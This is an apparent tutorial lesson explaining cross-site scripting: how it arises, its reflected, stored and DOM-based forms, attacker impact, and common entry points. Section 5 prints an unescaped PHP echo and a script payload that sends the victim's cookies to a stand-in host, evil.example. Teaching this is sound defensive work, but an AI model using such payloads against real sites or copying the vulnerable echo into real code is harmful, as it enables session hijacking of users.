Intermediate

What Is Cross-Site Scripting (XSS)?

20 min 8 sections
1

Concept

What Is XSS?

XSS (Cross-Site Scripting) is a vulnerability where an attacker makes a website run attacker-controlled JavaScript in victim user's browser.

Please see below steps for better understanding:

1. A website accepts input from a user.
2. The website puts that input into a webpage without properly escaping or sanitizing it.
3. The attacker puts JavaScript instead of normal text.
4. The website sends that JavaScript to another user.
5. The victim's browser executes it as if it came from the trusted website.

Example:

Suppose a website displays: Welcome, <username>
Normally someone enters John

What is SQL Injection ?


But an attacker enters malicious HTML/JavaScript
If the application doesn't properly handle it, the browser may interpret the input as code instead of text.

2

Explanation

How XSS Happens

Web applications often create webpages dynamically using data from users, such as search terms, comments, profile information, or URL parameters.

The browser simply receives the final HTML and interprets it. It doesn't know whether the content came from the application or from an attacker.

If the application puts user input into a webpage without properly escaping special characters such as <, >, ", ', and &, the browser may interpret that input as HTML or JavaScript instead of ordinary text.

Example:

Safe: Hello <username>
If <username> contains malicious HTML/JavaScript and isn't escaped, the browser may treat it as actual code.

The problem isn't simply "bad input."
The real problem is that the application fails to keep data and code separate.

3

Concept

Trusted vs. Untrusted Content

Trusted content is code or markup that the developer created and controls.

Untrusted content is data that comes from outside the application's control, such as:

URL parameters, Form fields, Cookies, HTTP headers, Data received from third-party APIs

Storing data in your own database does not automatically make it trusted.

For example, a user enters a comment:

Nice website!

The application stores it in the database. Later, another user views that comment.

Even though the comment came from your database, it is still untrusted data because it originally came from a user.

If the application renders that data without proper output encoding, it could contain malicious HTML or JavaScript and lead to Stored XSS.

4

Concept

How Untrusted Data Reaches the Browser

There are three main ways untrusted data can reach a user's browser and cause XSS:

Reflected XSS

The attacker sends malicious input to the server.
The server immediately puts that input back into the response.
Nothing is stored.
Example: a search page displays the value from ?q= directly on the results page.

Stored XSS

The attacker submits malicious input.
The application stores it in a database or file.
Later, the application displays it to users.
This can affect many users, not just the attacker.

DOM-based XSS

The server doesn't necessarily need to process the malicious input.
JavaScript running in the browser reads data, such as from the URL fragment or document.referrer.
That JavaScript then puts the data into the page's DOM in an unsafe way.
The malicious content executes in the browser.

All three have the same fundamental problem:

Untrusted data reaches an HTML/JavaScript context where the browser interprets it as code instead of treating it as ordinary data.

5

Concept

Anatomy of a Vulnerable XSS Flow

Imagine a PHP page that displays a visitor's name:

php:
echo "Welcome, " . $_GET['name'];

If the user visits:

?name=Bob

the page displays: Welcome, Bob

But if someone visits,

?name=<script>document.location='https://evil.example/steal?c='+document.cookie</script>

the server does exactly the same thing it always does: concatenates the value and sends it back. The difference is what the browser receives — a response that now contains a literal <script> tag.

The browser has no way to know that tag wasn't supposed to be there. It parses it as real markup, executes the script, and the attacker's code runs with full access to that page including the victim's cookies because as far as the browser is concerned, it's just part of the page.

6

Explanation

What Can an Attacker Do With XSS?

If an attacker successfully gets JavaScript to run in a victim's browser through XSS, that script runs within the context of the vulnerable website.

Depending on the application's security controls, the attacker may be able to:

They can read session cookies and hijack the victim's authenticated session.
Capture keystrokes typed into the page.
Rewrite the page's content to phish credentials with a fake but visually perfect login form.
Silently perform actions as the victim (changing an email address, sending a message, making a purchase).
Redirect the victim to a malicious site entirely.

In stored XSS specifically, a single injected payload can be served to every visitor of a page, and in the worst cases can even self-propagate — the 2005 "Samy" worm on MySpace spread through exactly this mechanism, infecting over a million profiles in under 24 hours.

7

Detection

Where XSS Can Occur

🔎

Detection

Any place where user-controlled data is displayed on a webpage can potentially be an XSS entry point.

Search boxes — search terms displayed on the results page.
Comments/reviews — user comments displayed to other visitors.
Profile fields — names, bios, addresses, etc.
Error messages — a page displaying a value from a URL parameter.
File uploads — displaying the uploaded filename.
HTTP headers — values such as User-Agent or Referer that an application later displays.

8

Summary

Key Takeaways

Summary

XSS lets an attacker run their own script inside a victim's browser, under the trust the victim already has in the site.
It happens whenever untrusted input reaches a page without being neutralized first whether reflected immediately, stored and served later, or handled entirely in client-side JavaScript.

The impact ranges from session hijacking to full account takeover to self-propagating worms, and virtually anywhere user input is echoed back onto a page is a potential entry point.